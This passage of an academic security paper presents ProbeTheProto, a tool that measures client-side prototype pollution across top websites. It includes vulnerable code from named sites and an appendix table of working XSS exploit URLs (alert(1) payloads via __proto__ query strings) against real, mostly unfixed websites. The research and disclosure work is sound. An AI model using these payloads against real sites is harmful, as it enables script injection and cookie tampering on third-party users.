Arbitrary 6,544 666
Specific 812 95

Sub-Total† 7,356 736

URL Manipulation

anchor 1,755 152
iframe 464 205
img 1,576 500
script 944 192

Sub-Total† 4,739 830

Sub-Total† of Above Three 12,554 1,322

No Observable Consequence - 1,595

Total 12,554 2,917
† Note that the sub-total may not be a direct summation of all above rows
because one vulnerability could have more than one consequence or sink.

down by joint taint flow sources in Table II. URL search
(location.search) is the most popular among all other,
and URL (location) comes next.

Second, we break down all the vulnerabilities by conse-
quences in Table III and show the number of times that the
sink is being triggered. Cookie and URL manipulations are
more popular than XSS. A final sink for one vulnerability may
be triggered multiple times because it is often embedded in a
for loop or being invoked in multiple function calls. We also
look at detailed breakdowns in each category.
• XSS. setAttribute is the most popular one. An adver-
sary can set the onload or onerror attribute of an HTML
element to inject scripts.
• Cookie Manipulation. Arbitrary cookie manipulation, i.e.,

an adversary being able to inject cookies with any keys, is
more popular than specific cookie manipulation, i.e., one that
can only inject cookies with specific keys. We suspect that
it may be easier to write code that enumerates cookie keys
than those with specific keys.
• URL Manipulation. The image tag is the most popular
location in terms of number of domains and the iframe tag
comes next.

Third, we break down vulnerable domains by Tranco
rankings and source types in Figure 5. The Top 100K has
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Fig. 5: [RQ1] Vulnerable domain distribution over Tranco
website ranking.

TABLE IV: [RQ1] # vulnerabilities per domain vs. # domains.

# Vulnerabilities per Domain 1 2 3 4 Total (≤4)

# Domains 2,565 168 4 1 2,738

the most number of vulnerable domains and the rest are
almost distributed. URL-based is the most popular among
PROBETHEPROTO’s findings and cookie-based is the least. In
the future, we will consider to rely on PMForce [45] to better
generate inputs in postMessage.

Lastly, we break down vulnerable domains by the number
of vulnerabilities in Table IV. Most web domains only have
one vulnerability, while we do see some domains have two to
four prototype pollution vulnerabilities. We also analyze where
the vulnerability locates (e.g., homepage vs. other pages) and
the number of vulnerabilities per domain. The results show
that 475 vulnerabilities only exist in a page different from the
homepage. This demonstrates the necessity of using a web
crawler to analyze some deep pages of a web domain.

[RQ1] Take-away Two: 1,322 vulnerabilities of 1,217
domains in PROBETHEPROTO’s findings are further vul-
nerable to other attacks, including XSS, cookie manipu-
lation and URL manipulation.

3) Case Study One (247sports): We describe a real-world
vulnerability in 247sports.com, an American network of web-
sites on college football and basketball, as a case study. This
vulnerability leads to a manipulation on cookies with a key
“utag main”, which is used to track visitors. Therefore, a
session fixation attack may be possible if an adversary tries
to inject her own cookies. One interesting thing here is that
after we reported the vulnerability and our suggested patches
to the website maintainers, they did not follow our suggestion
but pushed their own patch instead. Their patched code is still
vulnerable and we have to contact them again: The website has
not been further updated yet after multiple followup contacts.

We start from their original vulnerable code and then de-
scribe why the patched code is still vulnerable. First, Figure 6
(marked with “-”) shows the original vulnerable code. The
loop (Lines 8–15) allows an adversary to traverse through the
prototype chain and reach Object.prototype. Then, the
assignment at Line 16 will eventually allow the adversary to
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1 /* Exploit: https://247sports.com/Season/2022-Football/
2 CompositeRecruitRankings/?constructor[prototype]
3 [key]=val&InstitutionGroup=HighSchool */
4 // Step one: prototype pollution
5 var l = function(e, t, n) {
6 /* e = {"constructor[prototype][key]": "val"},
7 t = ["constructor", "prototype", "key"], n = "val"*/
8 for (var r = t.length - 1, i = 0; i < r; ++i) {
9 var o = t[i];

10 - null !== o && (o in e || (e[o] = {}), e = e[o]) //
original

11 + "_proto_" !== o && "__proto__" !== o && (o in e || (e[o
] = {}), e = e[o]) //unsafe patch

12 /* suggested patch: null !== o && (Object.prototype.
13 hasOwnProperty.call(e,o) || (e[o] = {}), e = e[o])
14 */
15 }
16 e[t[r]] = n // e=Object.prototype, t[r]="key", n="val"
17};
18// Step two: cookie manipulation
19 var GV = function(a, b, c) {
20 b = {};
21 for (c in a) {
22 - if (typeof a[c] != "function") //original
23 + if (a.hasOwnProperty(c) && typeof a[c] != "function")

//unsafe patch: hasOwnProperty at a wrong location
24 // suggested patch: no changes
25 b[c] = a[c];
26 }
27 return b
28 };
29 var SC = function(b, d, e, v) {
30 for (e in GV(b)) { // e can still be ’key’
31 d[e] = "" + b[e];
32 // d[e] = ’val’ (When e = ’key’)
33 }
34 h = new Array();
35 for (g in GV(d)) { // g can still be ’key’
36 h.push((g + ":").replace(/[\,\$\;\?]/g, "")+

encodeURIComponent(d[g]));
37 }
38 v = (h.join("$")); // v = "...$key:val"
39 document.cookie = "utag_main="+v+";path=/;expires=";
40 };

Fig. 6: [RQ1] The Vulnerable Source Code in 247sports.com
(This vulnerability leads to cookie manipulations. The original
vulnerable code is marked with “-”. Note that after we report
the vulnerability to the website, the developers ignore our
suggestions and push their own patch as shown in the diff
format marked with “+”. The patch fixes one possible exploit
but is still vulnerable.)

inject a property into the target prototypical object. After that,
the injected property is propagated to h at Line 36 and then
further to document.cookie at Line 39.

Second, Figure 6 (marked with “+”) shows the patched
vulnerable code. Although the code checks __proto__ at
Line 11, an adversary can still traverse the prototype chain via
constructor and prototype. Then, although the code
checks hasOwnProperty when copying the object a to b
at the GV function (Line 19), the injected property still exists
along the prototype chain of b. Therefore, the injected property
is still fetched at Lines 30 and 35 and then propagated to
document.cookie at Line 39.

[RQ1] Take-away Three: The patches of prototype
pollution need to be carefully examined: In the example
of 247sports.com, the patched JavaScript code is still
vulnerable due to multiple paths in prototypical object
lookup.

1 /* Exploit code: a message "wi5w1vsikahcxuqm;
2 updateIframe;__proto__;key;val" via postMessage
3 from https://www.darujme.cz */
4 // Vulnerable code
5 var i = document.createElement("iframe");
6 ...
7 this.iFrame = i, ...
8 this.updateElement(this.iFrame, t);
9 function(e, t) { //the updateElement function

10 // t = ["__proto__", "key", "val"]
11 var n = t.length;
12 2 === n ? e[t[0]] = t[1] : 3 === n && (e[t[0]][t[1]]

= t[2])
13 }

Fig. 7: [RQ1] The vulnerable source code with prototype pol-
lution vulnerability of https://holocaust.cz. The vulnerability is
triggered by a postMessage from https://www.darujme.cz and
the polluted prototypical object is HTMLIFrameElement and
HTMLDivElement (the latter is not shown in the figure).

4) Case Study Two (holocaust): In this part, we give
another case study on a Czeth website (https://www.holocaust.
cz/), a comprehensive and unique source of information on
themes of the Holocaust, racism and anti-Semitism. The
vulnerable URL is at https://www.holocaust.cz/databaze-obeti/
obet/83890-ivan-fink/. We use this as a case study due
to two reasons: (i) the polluted prototypical objects are
HTMLIFrameElement and HTMLDivElement, and (ii)
the vulnerability is triggered by a postMessage from https:
//www.darujme.cz/. Supposedly, the postMessage is used to
adjust div and iframe size, but the vulnerability allows another
website to affect its internal functions, such as polluting
HTMLIFrameElement.prototype.click.

Figure 7 shows the vulnerable code, leading to a pollution
of HTMLIFrameElement.prototype. The message is
passed to the updateElement function at Line 9, where
e is an HTMLIFrameElement object and t contains the
exploit from the message. Then, Line 12, or specifically
e[t[0]][t[1]] = t[2], traverses through the prototype
chain to access HTMLIFrameElement.prototype for a
pollution. The pollution of HTMLDivElement.prototype
is similar and we skip the vulnerability details here due to
similarity.

[RQ1] Take-away Four: An adversary
may pollute prototypical objects other than
Object.prototype: For example, she can
pollute HTMLIFrameElement.prototype and
HTMLDivElement.prototype of holocaust.cz.

B. RQ2: Comparison with State of the Art

In this subsection, we answer the research question of com-
paring PROBETHEPROTO with the state-of-the-art approach,
namely ObjLupAnsys [29], which is a static analysis tool in
detecting server-side prototype pollution vulnerabilities.

1) Setup: We obtained the ObjLupAnsys tool from their
Github (https://github.com/Song-Li/ObjLupAnsys). Because
ObjLupAnsys can only analyze server-side Node.js appli-
cations for prototype pollution vulnerabilities, we perform
two modifications on ObjLupAnsys with 270 lines of code
to support client-side applications. First, we instrumented
a browser to download all the client-side JavaScript code

9

247sports.com
247sports.com
https://holocaust.cz
https://www.darujme.cz
https://www.holocaust.cz/
https://www.holocaust.cz/
https://www.holocaust.cz/databaze-obeti/obet/83890-ivan-fink/
https://www.holocaust.cz/databaze-obeti/obet/83890-ivan-fink/
https://www.darujme.cz/
https://www.darujme.cz/
holocaust.cz
https://github.com/Song-Li/ObjLupAnsys


for ObjLupAnsys to analyze. Second, we added client-side
sources that are possibly controlled by an adversary, such
as location and document.cookie, and marked them
as tainted in ObjLupAnsys. In the analysis, we adopt five
minutes as the timeout threshold, which aligns with the original
paper [29]; more importantly, the static code coverage (defined
in their paper) during abstract interpretation stays almost the
same after about two minutes for most websites.

2) Comparison Results: We run ObjLupAnsys on two sets:
(i) Top 30K domains, and (ii) 2,738 vulnerable websites
found by PROBETHEPROTO. First, we describe the results
on top 30K domains. Note that we choose top 30K because
ObjLupAnsys is slow and the analysis of 30K already took
a week. ObjLupAnsys only reports one website out of 30K
domains as vulnerable, which is a false positive with a control-
flow based defenses. The reason is that static analysis used
by ObjLupAnsys only checks the existence of certain object
lookup paths but cannot validate the paths are valid. As a
comparison, all the vulnerabilities reported by PROBETHE-
PROTO are exploitable because PROBETHEPROTO generates
and verifies exploit code automatically in the analysis. That is,
PROBETHEPROTO verifies that a prototypical object is polluted
and a consequence happens, e.g., a script is executed in XSS, a
cookie is altered in cookie manipulation, and a URL is changed
in URL manipulation.

Second, we run ObjLupAnsys on all 2,738 vulnerable
websites that are found by PROBETHEPROTO and verified
as exploitable. The results show that only four out of 2,738
websites are detected as vulnerable by ObjLupAnsys. The
main reason is the scalability issue of ObjLupAnsys: Two fifths
of the websites times out because the abstract interpretation of
ObjLupAnsys explores all the branches in parallel, leading to
object and path explosion. Another reason is ObjLupAnsys’s
lack of support of client-side JavaScript features, such as AJAX
calls and DOM functions, which often leads to errors during
the analysis.

[RQ2] Take-away: PROBETHEPROTO significantly out-
performs ObjLupAnsys in detecting client-side proto-
type pollution vulnerabilities among real-world websites.
Specifically, in terms of true positives, PROBETHEPROTO
detects 2,738 vulnerable domains as opposed to four by
ObjLupAnsys.

C. RQ3: Performance Overhead

In this research question, we answer the performance
overhead introduced by PROBETHEPROTO in the analysis.
Specifically, we measure the loading time of Top 1,000 Tranco
websites using three different browsers: (i) PROBETHEPROTO,
(ii) the modified Chrome browser from Melicher et al. [33],
and (iii) a legacy Chromium with the same version as (i) and
(ii). Each time we load the front page of a website five times
to calculate the average.

Figure 8 shows the Cumulative Distribution Function
(CDF) of loading Top 1,000 Tranco websites. PROBETHE-
PROTO introduces 38.6% median performance overhead as
opposed to 23.2% of Melicher et al. [33] when compar-
ing with the legacy Chromium Browser. The reason is that
PROBETHEPROTO propagates not only value-taints like prior
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Fig. 8: [RQ3] CDF of loading time of Top 1,000 Tranco
websites by PROBETHEPROTO, Melicher et al. [33] and legacy
Chromium. PROBETHEPROTO introduces 38.6% performance
overhead compared with legacy Chromium while Melicher et
al. 23.2%; the median overhead of PROBETHEPROTO upon
Melicher et al. is 13.4%.

TABLE V: False Negatives (FN) and True Positive Rate (TPR)
of PROBETHEPROTO against a Github Dataset [10]

Vulnerabilities TP FN Total TPR

Prototype Pollution 19 2 21 90.5%
XSS Consequences 34 9 43 79.1%

work, but also object-taints. At the same time, we believe
that PROBETHEPROTO is practical in vulnerability detection
and measurement as seen in our analysis of top one million
domains.

[RQ3] Take-away: PROBETHEPROTO introduces 13.4%
median performance overhead compared with Melicher et
al. [33]: This is reasonable for a vulnerability detection
tool as shown in our analysis of one million websites.

D. RQ4: False Negative

In this research question, we measure the false negatives
of PROBETHEPROTO using a manually-annotated benchmark
from a Github repository [10]. The benchmark has two parts:
(a) scripts with prototype pollution vulnerabilities and (b)
scripts that are vulnerable to XSS if a prototype pollution is
present. There are two things worth noting here. First, four
vulnerable scripts have already been fixed in Part (a). We find
the historical, vulnerable versions of three via Internet Archive
Wayback Machine [2] and manually removed the sanitization
added by the authors for the rest one (because Internet Archive
did not archive these one scripts). Second, we fixed one small
bug in one Proof of Vulnerability (POV) so that the provided
code will lead to XSS consequence.

Table V shows the evaluation results. First, PROBETHEP-
ROTO has two false negatives (FNs), i.e., 90.5% True Positive
Rate (TPR) for Part (a). One FN is because the script is
only vulnerable in the latest version of Chromium but not the
one used by PROBETHEPROTO. Specifically, the script adopts
JavaScript features that are only present in the latest version
of Chrome, making the vulnerability unreachable in historical
Chromium versions. The other is because the prototype pollu-
tion happens inside scripts executed by an eval function. The
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Fig. 9: [RQ5] CDF of code coverage of the vulnerable
JavaScript file(s) in real-world websites and the Github dataset
after PROBETHEPROTO’s exercising with input/exploit genera-
tion. The lines without PROBETHEPROTO’s exercising is very
close to the ones with and that is why we additionally show
the CDF of code coverage increase in Figure 10.

prototype of PROBETHEPROTO, based on the implementation
from Melicher et al. [33], does not track taint information
inside eval function, leading to the false negative.

Second, PROBETHEPROTO has nine FNs for Part (b),
leading to 79.1% TPR. The breakdown of FNs is as follows.
One FN is because the script is only vulnerable in Firefox,
which does not support Trusted Types [3], a relatively new
API. One is because the triggering of XSS needs the CSS tran-
sition Property, which is not supported by PROBETHEPROTO.
The rest seven is because PROBETHEPROTO cannot generate
correct values or properties to trigger the vulnerable code.
For example, PROBETHEPROTO can only output a missing
property if both operands of the in operator are variables
not constants. If one operand is a constant, PROBETHEPROTO
fails to report a missing property. It might be because V8 has
some optimizations that bypass our hooking of the operator.
Note that if we provide the exact property names and values,
PROBETHEPROTO’s dynamic taint analysis can detect these
seven, increasing the TP from 34 to 41 for XSS consequences.
This demonstrates that PROBETHEPROTO needs a better input
generator to reduce the number of FNs.

[RQ4] Take-away: PROBETHEPROTO introduces 9.5%
false negatives for prototype pollution and 20.9% for XSS
consequences.

E. RQ5: Code Coverage

In this research question, we measure the code coverage of
the vulnerable JavaScript file before and after adding all the
generated input/exploits of PROBETHEPROTO during multiple
runs. We also show the cumulative code coverage after adding
all PROBETHEPROTO’s inputs/exploits. Specifically, we rely
on the code coverage feature of Google Chrome’s DevTools,
which measures the total and unused bytes of all JavaScript
or CSS files. In the evaluation, we use the ratio between
used and total types as the metrics of code coverage for the
target vulnerable JavaScript file(s), which contains either the
prototype pollution vulnerability or the further consequences.
We test two datasets: the 43 scripts with XSS consequences
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Fig. 10: [RQ5] CDF of code coverage increase of the vulner-
able JavaScript file(s) in real-world websites and the Github
dataset after PROBETHEPROTO’s exercising with input/exploit
generation. Note that the majority of vulnerabilities are located
in triggered code (even without PROBETHEPROTO’s exercis-
ing) instead of new code.

in the Github dataset mentioned in Section V-D (called the
Github dataset) and randomly-selected 50 vulnerable websites
(called the real-world websites).

Figure 9 shows the the Cumulative Distribution Function
(CDF) of the code coverage after PROBETHEPROTO ’s in-
put/exploit generation. There are untriggered code in both
datasets for many websites and the code coverage of the
Github dataset is larger than real-world vulnerable websites.
The reason may be that a JavaScript library, especially those
adopted by real-world websites, usually provides many abun-
dant functionalities, some of which are unused by the website.
In addition, Figure 10 shows the Cumulative Distribution
Function (CDF) of the code coverage increase introduced
by PROBETHEPROTO. The median code coverage increase is
around 1% for both datasets.

There are two things worth noting here. First, the code
coverage increase number is relatively small for the majority
number of websites (like >90% for both datasets). The reason
is that exploiting prototype pollution and its consequence for
both datasets is mostly about generating inputs for triggered
code instead of finding new, untriggered code. Consider our
motivating example in Figure 1. Both the function at Line
5 and the HTML generation code at Line 36 are being
triggered even without prototype pollution and XSS exploits.
PROBETHEPROTO provides exploit inputs for these triggered
code, e.g., with additional iteration of a for loop, instead of
increasing code coverage. Second, the code coverage increase
for some websites is large, e.g., up to 25%. The reason is that
the property generation may trigger some hidden code inside
a branching statement, increasing the code coverage.

[RQ5] Take-away: The input/exploit generation im-
proves the code coverage of the vulnerable JavaScript
file(s) by a small degree. PROBETHEPROTO’s advantage
is to generate inputs/exploits for previously-triggered vul-
nerable code instead of finding new code.
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TABLE VI: [RQ6] A Breakdown of Real-world Defenses of
Prototype Pollution Vulnerabilities by Data-flow and Control-
flow based Defenses.

Defense Technique # Joint Flows # Domains

Data-flow Property sanitization 15 6
Object sanitization 22,235 1,489

Control-flow Property white/blacklist 2,710 124

F. RQ6: Defenses in the Wild

In this research question, we measure existing defenses
against prototype pollutions in the wild. We hope that this
will also shed light on future prototype pollution defenses.

1) Result Overview: In this part, we give an overview of
existing defenses that are deployed in practice. We classify ex-
isting defenses as two general types: data-flow and control-flow
based. Then, we also break down data-flow based defenses
into sub-types: property sanitization vs. object sanitization.
Table VI shows the results: Object sanitization is clearly the
most popular ones, control-flow based defense, e.g., property
white and blacklist, is next, and property sanitization is actually
the least. We believe that property sanitization, white and
blacklist are likely added once a prototype pollution is reported
to a website owner; on the contrary, object sanitization is likely
just because an empty object is needed, which by accident also
defends against prototype pollution.

2) Defense Case Study One (facebook.com): In this part,
we use facebook.com as a case study to describe data-flow-
based defenses of prototype pollution vulnerabilities. Specif-
ically, Figure 11 shows how Facebook prevents prototype
with two strategies. First, Facebook checks any user-inputted
properties against __proto__ at Line 3 and encodes the
value. Second, Facebook checks whether a property is directly
under an object (Line 13) and assigns an empty object (Line
14) to break the prototype chain if the property is not.

It is worth noting that the second defense alone is enough
to mitigate prototype pollution vulnerability. There are two
possible reasons that Facebook adopts both. First, it may
be a historical reason that Facebook first adds the property
sanitization and then realizes that there could exist other paths
for prototype pollution. Second, it could be that Facebook does
not want to break the prototype chain for __proto__ as some
property lookups may still be useful.

3) Defense Case Study Two (kiev.kupikupon.com.ua): In
this part, we describe a control-flow based defense that we
obtained from kiev.kupikupon.com.ua, a Russian website, in
Figure 12. The code that is vulnerable to prototype pollution
is at Line 11, but it is guarded by a control-flow condition at
Line 7, which specifies a whitelist for i as utmz. Therefore,
when the function takes an exploit input, such as __proto__,
the vulnerable code (Line 11) is not triggered then.

[RQ6] Take-away: Object sanitization is the most pop-
ular defense among real-world websites, which breaks
down the prototype chain to the target prototypical object
for a defense.

VI. DISCUSSION AND LIMITATION

In this section, we discuss some issues and limitations.

1 /* facebook.com */
2 function i(a) { // property sanitization
3 return a === "__proto__" ? "\ud83d\udf56" : a
4 // convert a from "__proto__" to "\ud83d\udf56"
5 }
6 function c(k, f) {
7 /* k = [’constructor’, ’prototype’, ’key’], f = ’val’
8 or: k = [’__proto__’, ’key’], f = ’val’ */
9 var c = Object.prototype.hasOwnProperty, g = {};

10 for (var l = 0; l < k.length - 1; l++) {
11 var m = i(k[l]); // property sanitization
12 if (m) {
13 if (!c.call(g, m)) {
14 var n = k[l + 1] && !k[l + 1].match(/ˆ\d{1,3}$/) ?

{} : [];
15 /* Object sanitization, i.e., assigning an empty
16 object for g[m] if m is not g’s own property */
17 g[m] = n;
18 if (g[m] !== n) return b
19 }
20 g = g[m]
21 }
22 }
23 ...
24 }

Fig. 11: [RQ6] An illustration of two data-flow based san-
itizations adopted by facebook.com: (i) Line 3 encodes
” proto ” (line 13), and (ii) Line 14 assigns an empty object
if the property does not exist directly under the target object.

1 /* kiev.kupikupon.com.ua */
2 function (i, e) {
3 /* In normal case, i = "utmz", e = "utmcsr=(direct)"
4 In the exploitation, i = "__proto__",
5 e = "key=(value)" */
6 var n = { "utmz": {} }, s = n[i];
7 if ("utmz" === i) {
8 /* When i="__proto__", this code block
9 will not be executed. */

10 e = e.split("=");
11 s[e[0]] = e[1];
12 }
13 }

Fig. 12: [RQ6] An illustration of control-flow based sanitiza-
tion (a property whitelist at Line 6) in kiev.kupikupon.com.ua.

Ethics. We describe possible ethics issues of PROBETHEP-
ROTO’s analysis. First, we discuss responsible disclosure [4].
We send emails with vulnerability description and our sug-
gested patch code to all the vulnerable websites that are
discovered by PROBETHEPROTO. In total, it took two weeks,
i.e., two students for a week and four students for another
week, to send emails to all 2,738 domains. We discover website
maintainers’ emails via two methods: (i) those registered in the
whois record, and (ii) those that are listed on the corresponding
website. For now, 180 webpages have patched their vulnerable
code. We allow 45 days as the responsible disclosure window.

Second, we discuss possible damages to the victim web-
page. PROBETHEPROTO respects robots.txt during the
crawling. Our exploitation posted no real damages to anybody
on the web and it happened only at the client-side without in-
curring any additional network traffic. For prototype pollution
alone, PROBETHEPROTO only injects a dummy property into
a prototypical object. Next, we discuss different consequences
of prototype pollution:
• XSS. Only alert and console.log are called during

the exploration of XSS.
• Cookie manipulation. PROBETHEPROTO only injects a
dummy cookie value and clears the injected value afterwards.
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• URL manipulation. PROBETHEPROTO only crafts a URL
with a dummy query string, say in an image or script tag,
and does not trigger the crafted URL.

Lastly, we discuss human subjects. We asked about Insti-
tutional Review Board (IRB) and the discussion determined
that the project contains no human subjects. Specifically,
our crawling does not log into any websites and thus every
information that we obtained is public just like web bot.

XSS Payload Generation Context. Prior works [11] show
that XSS payload often needs to be generated under a certain
context, e.g., escaping an existing tag. We will leave it as a
future work for PROBETHEPROTO to consider such generation
context. At the same time, it is worth noting that our manual
inspection does not find any such cases of XSS co-located with
prototype pollution.

Detection of Server-side Prototype Pollution Consequences.
We leave the detection of server-side prototype pollution
consequences as our future work, because it needs the instru-
mentation of Node.js runtime for taint analysis.

VII. RELATED WORK

We describe related work from four aspects: prototype
pollution, program analysis, web measurement, and security
improvement like defenses.

A. Prototype Pollution

Prototype pollution is relatively new and was first presented
by Arteau [6] in 2018. Prior analysis and detection of prototype
pollution mostly focus on the server side. For example, Kim
et al. [24] perform static analysis based on fixed patterns to
detect prototype pollutions among Node.js modules; following
up on Kim et al., Li et al. [29] developed a flow-, context- and
branch-sensitive static analysis tool that is more accurate in
detecting server-side prototype pollution vulnerabilities. Nei-
ther of the aforementioned works studied the consequences of
prototype pollution; Bentkowski [9] wrote a technical blog and
revealed a way to bypass client-side HTML sanitizers by taking
advantage of the prototype pollution. As a comparison, PRO-
BETHEPROTO is the first large-scale measurement of client-
side prototype pollutions among top one million websites.
In the evaluation, we compared with the ObjLupAnsys tool
from Li et al. [29] and showed that PROBETHEPROTO can
discover more client-side prototype pollution vulnerabilities
with fewer false positives. The blog from Bentkowski [9]
shows the possibility of bypass client-side HTML sanitizers,
but it still remains unclear how prevalent it will be at the client
side.

Other than prototype pollution, some existing works, such
as Adida et al. [5] and Meyerovich et al. [35], also mention
that an adversary can override prototypical functions, which
then affects class hierarchy. It is worth noting that the threat
model in such works are different from prototype pollution.
Prototype pollution uses several object lookups and assign-
ments controlled by strings from an adversary for pollution
while prior works usually assume a malicious JavaScript is in
place for overriding a prototypical function.

B. Existing JavaScript Program Analysis

We describe existing dynamic and static program analysis.

1) Dynamic Analysis: Dynamic analysis is a program anal-
ysis technique that analyzes program code, e.g., JavaScript,
with concrete inputs. Specifically, dynamic taint analysis [1],
[21], [39], especially these at client-side, often modifies a
modern browser to propagates a taint for various purposes,
such as vulnerability detection. For example, DOMinator [1],
a very early tool in the field, modifies Firefox to apply dynamic
taint analysis for DOM-based XSS. Later on, a few other tools,
e.g., Lekies et al. [27], Parameshwaran et al. [39], and Melicher
et al. [33], are proposed to analyze multiple sources in the
taint analysis. Recently, Steffens et al. [44] also propose to
particularly analyze storage locations, such as cookies and web
storages, in XSS. Other than vulnerability detection, dynamic
taint analysis is also used for the detection of privacy leaks,
e.g., Ichnaea [21], a platform independent tool of dynamic
analysis.

PROBETHEPROTO adopts the dynamic taint engine from
Melicher et al. [33] with additional contributions. Specifi-
cally, PROBETHEPROTO’s contributions are three-fold. First,
PROBETHEPROTO invents an object-taint to track whether
an object can be controlled by an adversary to access a
prototypical object. Second, PROBETHEPROTO tracks joint
taint flows with at least two and sometimes three or more sinks
in the analysis. Lastly, PROBETHEPROTO has an input/exploit
generation module that tracks missing property lookups for the
exploitation of prototype pollution and its consequence.

2) Static Analysis: Static analysis is another popular pro-
gram analysis technique that analyzes target code without
concrete inputs. In the past, static analysis has long been
adopted for JavaScript error detection. For example, TAJS [19]
is a static-analysis infrastructure that provides rich and precise
type information for JavaScript programs; similarly, JSAI [22]
is another static analysis platform for JavaScript. Such static
analysis frameworks were also improved to adapt the HTML
DOM API [18], various frameworks and libraries [31] to detect
JavaScript’s bugs and errors. Madsen et al. [32] presented the
event-based call graph to detect event handling bugs. Feldthaus
et al. [14] constructed Approximate Call Graphs for JavaScript
IDE Services.

Static analysis is also widely used for vulnerability or
malware detection from both server and client sides. VEX [8]
detected browser extension vulnerabilities based on static
information-flow analysis. Jin et al. [20] introduced a detection
tool to disclose code injection vulnerabilities in HTML5-
based mobile apps. Nodest [38] detects injection vulnerabil-
ities of Node.js [15] applications using abstract interpretation.
JStap [13] constructs Program Dependence Graph (PDG) for
JavaScript to detect malwares. JAW [23] proposes a novel
hybrid structure, inspired from Code Property Graph [48],
to detect client-side CSRF vulnerabilities. Iqbal et al. [17]
proposed AdGraph, which models the relationship of client-
side objects, to detect Web trackings.

As a comparison, classic static analysis [13] is usually
imprecise for JavaScript vulnerability detections, because they
cannot model dynamic features of JavaScript. Abstract inter-
pretation [19], [22], [38] is often adopted for JavaScript anal-
ysis, but they are often not scalable to client-side JavaScript

13



code, which often comes from multiple sources. At the same
time, a large amount of false positives of static analysis is
also a common concern for analyzing client-side prototype
pollution vulnerabilities.

C. Web Measurement

Web measurement is a popular research direction that
crawls the World Wide Web for different types vulnerabilities.
For example, Zhou and Evans [49] crawls the web to detect
Single Sign-On vulnerabilities. Mirheidari [36] analyzes Web
Cache Deception attacks by crawling the web and trying
Single Sign-Ons. The detection of Web Tracking also needs
web crawling: Englehardt and Narayanan [12] modified a web
browser to detect web tracking in top one million websites and
then Lerner [28] proposed to detect historical web tracking
using Internet Wayback machines. As we mentioned before,
Lekies et al. [27], Melicher et al. [33], and Steffens et al. [44]
measured DOM-based XSS in top websites. Steffens and
Stock [45] analyzed postMessage handlers at scale.

PROBETHEPROTO is also a measurement of the World
Wide Web. The novelty of PROBETHEPROTO is the measure-
ment of a new type of vulnerability, i.e., prototype pollution,
among top one million websites, which none of the prior
measurement works has done before.

D. Security Enhancement

People also proposed enhancement techniques to
strengthen JavaScript security. ScriptGard by Saxena et
al. [42] detects and repairs the incorrect placement of
sanitizers with no source-code or browser changes. Saoji
et al. [41] propose to defend against SQL injection and
XSS attacks via API with precise taint tracking. Samuel
et al. [40] provides a fast and precise solution for auto-
sanitization of possible vulnerabilities. Cujo, a learning-based
system by Krueger and Rieck [25], blocks the delivery
of malicious JavaScript code automatically. ZigZag by
Weissbacher et al. [47] is capable of automatically hardening
client-side code against both known and previously-unknown
vulnerabilities. Many works, e.g., Stock et al. [46], Snyder
et al. [43] and Iqbal et al. [16], also propose to implement
a more secure browser for JavaScript execution. Melicher
et al. [34] propose to detect DOM-based XSS via machine
learning. WebCapsule [37] is a forensic engine of web
browsers to detect attacks like phishing. As a comparison,
PROBETHEPROTO is a measurement work of both attacks
and defenses: The defenses found by PROBETHEPROTO may
shed light for other vulnerable websites.

VIII. CONCLUSION

Prototype pollution is a relatively new type of vulnerabili-
ties that was first reported in 2018 by Arteau [6]. Although
there are several works in studying and detecting server-
side prototype pollutions, its impacts and severity are largely
unknown. In this paper, we present PROBETHEPROTO, the
first large-scale measurement of client-side prototype pollu-
tion vulnerabilities. The key insight of PROBETHEPROTO is
dynamic taint analysis tracking so-called joint taint flows and
input generation based on missing property lookups. PRO-
BETHEPROTO discovers 2,738 zero-day vulnerable websites

among top one million Tranco websites and the consequences
of these vulnerabilities include XSS, cookie manipulation and
URL manipulation. We responsibly reported all the discovered
zero-day vulnerabilities to website owners and so far 185 has
already been fixed.
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APPENDIX

In this appendix, we list all the websites that are vulnerable
to prototype pollution, which then lead to an XSS consequence
in Table VII. The statuses of four websites are “Fixed” and
four are “Partially fixed”, where only XSS consequences are
fixed but not the prototype pollution. We also listed the
corresponding exploit code. Note that all the websites have
been informed and given 45 days to fix the vulnerability.
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TABLE VII: A list of 41 websites with 48 prototype pollution vulnerabilities that have XSS consequences (Reported: We reported
the vulnerabilities to the web owner, but did not receive any response; Confirmed: We reported the vulnerabilities to the web
owner and received the confirmation; Partially fixed: We reported the vulnerabilities to the web owner, who fixed the XSS
consequence but not the prototype pollution vulnerabilities; Fixed: We reported the vulnerabilities to the web owner, who fixed
the prototype pollution vulnerabilities. All statuses are based on our information and testing on January 14th, 2022.)

Website Status Exploit

acttheatre.org Reported https://acttheatre.org/?__proto__%5B1%5D=alert%281%29%2F%2F

aprilskin.com Reported https://aprilskin.com/?__proto__[url]=data:,alert(1)//

balance-on.com Reported https://balance-on.com/?constructor[prototype][1]=<img/src/onerror%3dalert(1)>

boulderboats.com Reported https://www.boulderboats.com/default.asp?__proto__[srcdoc]=%3Cscript%3Ealert(1)%3C/script%3E
&page=xAllInventory&make=chaparral

boxx.com Partially fixed https://boxx.com?__proto__[url][]=data:,console.log(1)
&__proto__[dataType]=script

brownsheavyequipment.com Reported https://www.brownsheavyequipment.com/default.asp
?__proto__[srcdoc]=%3Cscript%3Ealert(1)%3C/script%3E&page=xAllInventory&make=caterpillar

cestujlevne.com Reported https://www.cestujlevne.com/akcni-letenky/akcni-ceny-u-vuelingu-do-florencie-nebo-parize-z-prahy/
?__proto__[onload]=alert(1)&__proto__[src]=1&__proto__[onerror]=alert(1)

euronaval.fr Reported https://www.euronaval.fr/?__proto__[srcdoc][]=<script>alert(1)</script>//

fieldtriphealth.com Fixed https://fieldtriphealth.com?__proto__[src]=data:,alert(1)//

getpelegant.com Fixed https://getpelegant.com/?__proto__[k]=1><img src=1 onerror=alert(1)></img></li><!--

gettommys.com Reported https://www.gettommys.com/default.asp?__proto__[srcdoc]=%3Cscript%3Ealert(1)%3C/script%3E
&page=xAllInventory&make=axis

hireright.com Reported https://www.hireright.com/?__proto__[vtp_enableRecaptcha]=1
&__proto__[srcdoc]=<script>alert(1)</script>

inkdata.cn Reported http://www.inkdata.cn?__proto__[preventDefault]=x&__proto__[handleObj]=x
&__proto__[delegateTarget]=<img/src/onerror%3dalert(1)>

insxcloud.com Reported https://www.my1hr.com/services/healthcare-gov-connectivity/?__proto__[onload]=alert(1)

kozehealth.com Fixed https://kozehealth.com/?__proto__[k]=1><img src=1 onerror=alert(1)></img></li><!--

leejiral.com Reported http://leejiral.com/?constructor[prototype][1]=%3Cimg/src/onerror%3dalert(1)%3E

mamapedia.com Reported https://www.mamapedia.com/n/nutrition/?__proto__[onerror]=alert(1)

